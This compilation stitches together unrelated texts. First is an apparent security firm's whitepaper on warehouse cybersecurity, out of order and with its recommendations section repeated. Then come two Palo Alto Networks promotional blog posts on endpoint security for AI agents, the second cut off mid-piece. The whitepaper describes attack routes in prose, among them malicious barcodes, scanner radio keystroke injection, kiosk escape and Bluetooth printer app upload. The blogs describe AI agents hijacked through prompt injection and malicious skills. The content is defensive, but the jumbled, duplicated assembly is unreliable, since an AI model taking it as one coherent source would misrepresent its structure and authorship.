However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Enterprises spent the last two years racing to capture the vast potential of AI, authorizing AI agents to touch production code, internal databases, customer tickets and financial ledgers. Because these agents operate non-deterministically with broad capabilities, they can easily be manipulated into unexpected or malicious behavior. The result is agents breaking out of isolation, shifting AI risk from a hallucinating chatbot to an operational liability. 

The standard fixes, such as software containers or prompt-level guardrails, aren't sufficient to prevent malicious agent behavior. And traditional endpoint security was not designed to secure agents, which operate with real user access. Just as we pioneered XDR to include network, identity and cloud, we must now expand protection to secure agents in the enterprise. 

Cortex XDR One brings together XDR and Koi Agentic Endpoint Security to protect both traditional system processes and AI agents, delivering layered enforcement across an agent’s execution path. XDR One is designed to control an agent’s actions at the source, enforce hard boundaries at the operating system level, and spot rogue behavior through an AI-driven layer of defense.

An Emerging Security Blind Spot

Endpoints have evolved from controlled execution environments into complex ecosystems of AI coding agents, AI co-pilots, MCP servers and personal agents with access to sensitive data and systems. These artifacts can bypass traditional controls and operate in critical blind spots. 

When an agent ingests an untrusted input, connects to a compromised enterprise app or executes an unauthorized command, it transforms from a productivity tool into an active risk vector. Because agents operate with real user permissions and non-deterministic behavior, security teams face a compounding set of enterprise challenges that extend far beyond simple prompt injections.

Employees are adopting personal AI agents and browser tools that bypass IT oversight, spreading shadow AI across endpoints. At the same time, attackers are exploiting connected systems to manipulate these agents. By poisoning the external data, databases, or SaaS applications an agent relies on, adversaries can alter its behavior indirectly without ever touching the AI model itself. Without hard boundaries, an agent can be tricked into escalating host privileges, bypassing local containers or executing arbitrary system commands. In short, the agent escapes its intended sandbox and becomes an unwitting insider threat.

Adversaries are already exploiting this new vulnerability. In the ClawHavoc supply chain attack, adversaries targeted agents by uploading hundreds of malicious skills to OpenClaw's marketplace; once installed, these rogue skills broke runtime isolation to give remote attackers direct command-line access on the host. In a separate incident, Unit 42 research showed how agents can be tricked into revealing secret system prompts or sensitive information through indirect data poisoning from connected applications. Additionally, agents can bypass system and access controls when tricked into issuing unauthorized API calls or executing system tools under the guise of legitimate user permissions. Compounding these risks is the rise of shadow AI, as ungoverned, unmonitored agents deployed by employees silently inherit elevated system privileges without IT visibility.

When agentic AI was just emerging, we saw the potential risks it would bring and immediately sought out a solution to secure our internal AI workloads. Our InfoSec team found and deployed Koi while the startup was still in stealth mode. Impressed by Koi’s unique ability to secure new agentic endpoint behavior, we welcomed the talented Koi team into the Palo Alto Networks family to deliver this protection directly to our customers.

Cortex XDR One: Securing Every Endpoint and Agent from a Single Platform

XDR One integrates Cortex XDR and Cortex Agentic Endpoint Security with a single user interface and sensor, providing centralized visibility, management and investigation.

From sanctioned agents to shadow AI, XDR One gives teams a real-time inventory of every AI artifact the moment it appears on an endpoint. Armed with visibility into all the agent activity in the enterprise, security teams can control what packages, extensions, agents and AI artifacts are allowed to be installed or used. For example, a CISO can evaluate which vibe coding agents are actually being used by engineering teams and make an informed decision about the productivity impact of removing access to a specific agent. 

Securing the modern endpoint requires unified defense across both the AI agent lifecycle and the underlying operating system. XDR One delivers this protection, from software installation to live execution. Within the agent layer, it enforces runtime guardrails to help stop prompt injections and destructive commands. Simultaneously at the OS layer, XDR One continuously monitors runtime process chains to block zero-day exploits and living-off-the-land attacks in real time without affecting performance. To complement these defenses, optimized small language models run directly on the endpoint sensor to guard against evasive, fileless threats even while offline and without sending sensitive code to the cloud. By stitching cross-domain telemetry into clear, end-to-end attack chains, XDR One cuts false positives by up to 95% and drives automated remediation in minutes.

Ultimately, consolidating this security telemetry onto a single sensor eliminates fragmented point tools and establishes a powerful operational foundation, equipping Cortex XSIAM with the critical data needed to better govern AI risk across the enterprise.

Flexible Protection with Standalone Agentic Endpoint Security or Native Integration

Cortex Agentic Endpoint Security (AES) specifically governs AI tools, MCP servers and agentic workflows running on those hosts. Organizations have the flexibility to deploy AES alongside existing third-party EDR environments using the Cortex targeted sensor.

However, organizations can simplify operations when AES and XDR come together natively in Cortex XDR One. By unifying agentic defense and extended detection and response into a single sensor and platform, XDR One bridges the gap between traditional host security and AI risks, delivering seamless visibility, management and real-time investigation.

Setting a New Baseline for Endpoint Security

The era of standalone EDR has passed. Just as XDR moved beyond siloed endpoint detection and response to encompass network, identity and cloud, securing the modern enterprise now demands native protection for autonomous AI workloads. EDR without integrated agentic security is incomplete and fundamentally legacy. Disconnected point solutions lack visibility into OS execution, while bolt-on EDR offerings fail to correlate the agent’s prompt and tool context with subsequent system behaviors. Relying on a bird of prey may seem like high-end security, until you discover it only swoops in after the wolf has already attacked the flock.

XDR One sets the new standard for endpoint security, providing unmatched visibility and preemptive control across both the OS and AI layers within a single sensor.

Scaling Enterprise AI with Confidence

While XDR One delivers complete standalone protection, security leaders grappling with this complex new attack surface can augment their team’s capabilities with Unit 42 MDR, which will now include Managed Agentic Endpoint Security. By combining XDR One telemetry with elite threat intelligence, Unit 42 experts deliver proactive threat hunting, incident investigation, and AI risk governance to strengthen overall resilience.

Securing the Agentic Frontier

As organizations race to adopt AI agents, security teams face a pivotal transition. The expansion of agentic capabilities across enterprise endpoints demands a security posture that treats agents with the same rigor and control as traditional system processes.

By unifying agentic endpoint defense and XDR into a single sensor and platform, XDR One sets a new standard for endpoint security in the agentic era. Whether deployed independently or backed by Unit 42 expertise, XDR One gives security leaders the visibility and control needed to eliminate shadow AI, enforce operational guardrails and accelerate their AI transformation.

 

---

 

Forward-Looking Statements
This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact, or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. Any unreleased services or features (and any services or features not generally available to customers) referenced in this or other press releases or public statements are not currently available (or are not yet generally available to customers) and may not be delivered when expected or at all. Customers who purchase Palo Alto Networks applications should make their purchase decisions based on services and features currently generally available.

The post Reinventing Endpoint Security with Cortex XDR One appeared first on Palo Alto Networks Blog.

AI agents and AI-enabled tools are fundamentally changing how work gets done. From coding assistants to Model Context Protocol (MCP) servers, autonomous tools now access sensitive data, execute commands, and modify local workflows directly from the endpoint. Traditional endpoint security models fail to offer the visibility or governance required to manage these autonomous actions.

The security gap is already significant. Only 6% of organizations have an advanced AI security strategy. And the fastest attacks can move from initial access to data exfiltration in just 72 minutes, according to the 2026 Unit 42 Global Incident Response Report. As AI adoption grows, teams need context to prioritize risk and experts ready to respond so the business can continue adopting AI with confidence.

Today, we are announcing Unit 42 Managed Agentic Endpoint Security (Managed AES). We built the service on Cortex AES, our AI-native endpoint security platform that provides visibility, contextual risk intelligence and protection for AI agents and artifacts. Managed AES adds 24/7 Unit 42 expertise to help organizations put those capabilities into action. Backed by Unit 42 threat intelligence, our experts provide AI governance, threat hunting, investigation and response, and AI-related cyber hygiene. They apply human judgment to turn contextual intelligence into policy recommendations and prioritized actions as the environment evolves.

Continuous Expert Defense for the AI Environment

Managed AES brings continuous Unit 42 expertise to four areas of AI endpoint security.

• Govern AI Adoption with Greater Confidence
  AI adoption often moves faster than security teams can assess it. Our experts help identify AI tools and associated risks, evaluate exposure and recommend improvements to policies and controls. Security leaders gain a clearer view of AI use across their environment.
• Hunt for Emerging and Zero-Day Threats
  AI-related threats can emerge before they trigger a known alert. Our threat hunters use frontline threat intelligence and Cortex AES signals to proactively hunt across the customer’s AI environment. They evaluate findings, recommend action and refine policies and correlation rules to strengthen protection over time.
• Investigate and Respond 24/7
  Our analysts continuously monitor activity, investigate suspicious behavior and take permitted actions on the customer’s behalf to contain AI-related threats. Security teams gain specialized support to understand what happened, determine the potential impact and prioritize next steps.
• Continuously Strengthen AI-Related Cyber Hygiene
  Unit 42 assesses the customer’s AI security posture as adoption evolves. AI Security Posture Reports identify policy and control improvements, while Threat Impact Reports detail threats, potential impact, response actions taken and recommended next steps. These insights help teams prioritize improvements.

Expert Protection Across Your AES Environment

Organizations can choose the Cortex AES deployment model that best fits their environment while receiving the same 24/7 Unit 42 expertise.

• Managed AES with Standalone Cortex AES
  Organizations can deploy Cortex AES alongside their existing endpoint security solution for AI-native visibility, contextual risk intelligence, governance and protection for AI agents and AI-enabled tools. Managed AES adds Unit 42 experts who help customers act on that visibility and risk intelligence.
• Managed AES with Cortex XDR One
  Cortex XDR One brings together Cortex AES and Cortex XDR into a single sensor and console experience. It combines endpoint detection and response with AI-native security for AI agents and artifacts. Unit 42 experts provide 24/7 governance, threat hunting, investigation and response across the entire endpoint attack surface.

Securely Scale AI Adoption

